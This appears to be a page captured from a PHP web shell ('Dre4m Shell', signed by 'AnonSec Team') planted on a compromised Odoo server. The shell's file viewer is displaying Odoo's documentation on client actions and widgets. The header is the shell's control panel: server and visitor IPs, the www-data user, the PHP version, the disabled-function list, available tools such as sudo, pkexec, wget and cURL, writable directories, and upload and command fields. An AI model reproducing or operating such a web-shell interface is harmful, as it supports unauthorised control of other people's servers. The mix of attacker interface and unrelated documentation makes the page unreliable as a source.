Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.17.157.68
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/web/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/web/doc/client_action.rst
.. highlight:: javascript

Client actions
==============

Client actions are the client-side version of OpenERP's "Server
Actions": instead of allowing for semi-arbitrary code to be executed
in the server, they allow for execution of client-customized code.

On the server side, a client action is an action of type
``ir.actions.client``, which has (at most) two properties: a mandatory
``tag``, which is an arbitrary string by which the client will
identify the action, and an optional ``params`` which is simply a map
of keys and values sent to the client as-is (this way, client actions
can be made generic and reused in multiple contexts).

General Structure
-----------------

In the OpenERP Web code, a client action only requires two pieces of
information:

* Mapping the action's ``tag`` to an object

* Providing said object. Two different types of objects can be mapped
  to a client action:

  * An OpenERP Web widget, which must inherit from
    :js:class:`openerp.web.Widget`

  * A regular javascript function

The major difference is in the lifecycle of these:

* if the client action maps to a function, the function will be called
  when executing the action. The function can have no further
  interaction with the Web Client itself, although it can return an
  action which will be executed after it.

  The function takes 2 parameters: the ActionManager calling it and
  the descriptor for the current action (the ``ir.actions.client``
  dictionary).

* if, on the other hand, the client action maps to a
  :js:class:`~openerp.web.Widget`, that
  :js:class:`~openerp.web.Widget` will be instantiated and added to
  the web client's canvas, with the usual
  :js:class:`~openerp.web.Widget` lifecycle (essentially, it will
  either take over the content area of the client or it will be
  integrated within a dialog).

For example, to create a client action displaying a ``res.widget``
object::

    // Registers the object 'openerp.web_dashboard.Widget' to the client
    // action tag 'board.home.widgets'
    instance.web.client_actions.add(
        'board.home.widgets', 'instance.web_dashboard.Widget');
    instance.web_dashboard.Widget = instance.web.Widget.extend({
        template: 'HomeWidget'
    });

At this point, the generic :js:class:`~openerp.web.Widget` lifecycle
takes over, the template is rendered, inserted in the client DOM,
bound on the object's ``$el`` property and the object is started.

The second parameter to the constructor is the descriptor for the
action itself, which contains any parameter provided::

    init: function (parent, action) {
        // execute the Widget's init
        this._super(parent);
        // board.home.widgets only takes a single param, the identifier of the
        // res.widget object it should display. Store it for later
        this.widget_id = action.params.widget_id;
    }

More complex initialization (DOM manipulations, RPC requests, ...)
should be performed in the :js:func:`~openerp.web.Widget.start()`
method.

.. note::

    As required by :js:class:`~openerp.web.Widget`'s contract, if
    :js:func:`~openerp.web.Widget.start()` executes any asynchronous
    code it should return a ``$.Deferred`` so callers know when it's
    ready for interaction.

.. code-block:: javascript

    start: function () {
        return $.when(
            this._super(),
            // Simply read the res.widget object this action should display
            new instance.web.Model('res.widget').call(
                'read', [[this.widget_id], ['title']])
                    .then(this.proxy('on_widget_loaded'));
    }

The client action can then behave exactly as it wishes to within its
root (``this.$el``). In this case, it performs further renderings once
its widget's content is retrieved::

    on_widget_loaded: function (widgets) {
        var widget = widgets[0];
        var url = _.sprintf(
            '/web_dashboard/widgets/content?session_id=%s&widget_id=%d',
            this.session.session_id, widget.id);
        this.$el.html(QWeb.render('HomeWidget.content', {
            widget: widget,
            url: url
        }));
    }

Anon7 - 2022
AnonSec Team